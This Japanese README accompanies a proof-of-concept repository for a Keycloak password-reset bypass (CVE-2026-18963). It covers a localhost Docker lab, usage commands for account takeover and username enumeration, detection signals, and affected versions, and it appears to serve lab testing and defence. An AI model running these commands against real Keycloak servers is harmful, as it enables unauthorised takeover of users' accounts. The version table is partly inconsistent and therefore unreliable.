
このリポジトリはcve-2026-18963のPoCです。法的な製品(ラボ、ローカルなど)でのみ使用してください。
Keycloak reset-credentials バイパス → 未認証でのアカウント乗っ取り CVSS 9.1 | 影響範囲: Keycloak 26.0.0 – 26.7.1
CVE-2026-18963/
├── cve_2026_18963_poc.py <- PoC script (Python 3.9+, stdlib only)
├── README.md
├── docker-compose.yml <- Lab environment
└── realm-poc.json <- Keycloak realm config (auto-imported)
docker compose up -d
または、レルムのインポートを行わずに Keycloak を直接実行します:
docker run -p 127.0.0.1:8080:8080 \
-e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
-e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
quay.io/keycloak/keycloak:26.7.1 start-dev
Keycloakの起動が完了するまで約30~60秒待ちます。
| サービス | URL | バージョン | ステータス |
|---|---|---|---|
| kc-vuln | http://localhost:8080 | 26.7.1 | 脆弱 ⚠️ |
| Mailpit | http://localhost:8025 | latest | メールをキャプチャ |
admin / adminvictim / OriginalPassw0rd!poc | クライアント: poc-apppocレルムまたはvictimユーザーが存在しない場合は、手動でインポートします:
Manage realms → Create realm → realm-poc.jsonをアップロード。python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--safe-check
kc-vuln での期待される結果:
[!] VULNERABLE — email gate execution served
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim --check
副作用: 被害者にリセットメールが送信され (http://localhost:8025 で確認できます)、
emailVerifiedがtrueに設定されます。
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim \
--new-password 'PoCPassw0rd!1'
その後、http://localhost:8080/realms/poc/account に victim / PoCPassw0rd!1 でログインして確認します。
printf 'victim\nadmin\nnobody\n' > userlist.txt
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--enum userlist.txt
レルムは初回起動時にのみインポートされるため、最も簡単なリセット方法は環境をゼロから再作成することです:
docker compose down -v && docker compose up -d
または、管理コンソール(http://localhost:8080/admin)で手動でパスワードをリセットします: Users → victim → Credentials → Reset password → OriginalPassw0rd!。
docker compose down -v
| シグナル | 正規の動作 | エクスプロイト |
|---|---|---|
GET /login-actions/action-token?... | ✅ はい | ❌ いいえ |
POST .../reset-credentials(ボディ tryAnotherWay=yes) | ❌ いいえ | ✅ はい |
SEND_RESET_PASSWORD → UPDATE_PASSWORD(同一 code_id、2 秒未満) | まれ | ✅ 常に |
emailVerified が VERIFY_EMAIL イベントなしで true に変化 | ❌ | ✅ 常に |
Mailpit(http://localhost:8025)では、パスワードリセットメールが被害者のメールボックスに届くが、エクスプロイトが成功した場合、**その中のリンクは決してクリックされない**。
| リリースライン | 影響あり | 修正 |
|---|---|---|
| ≤ 17(WildFly) | なし | — |
| 26.0 – 26.3 | 26.0.0 – 26.x.x | なし(26.7.2 へ移行が必要) |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15(ベンダーバックポート) |
| 26.5 | 26.5.0 – 26.5.7 | なし |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6(ベンダーバックポート) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 ✅ |
26.0 より前のバージョンは影響を受けない:スティッキーな
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYEDノートおよびリセットフロー内の 「Try another way」セレクター画面は 26.0.0 で導入された。古いビルドには 脆弱なコードパスが単に存在しないだけであり、これはパッチ適用済みであることとは異なる。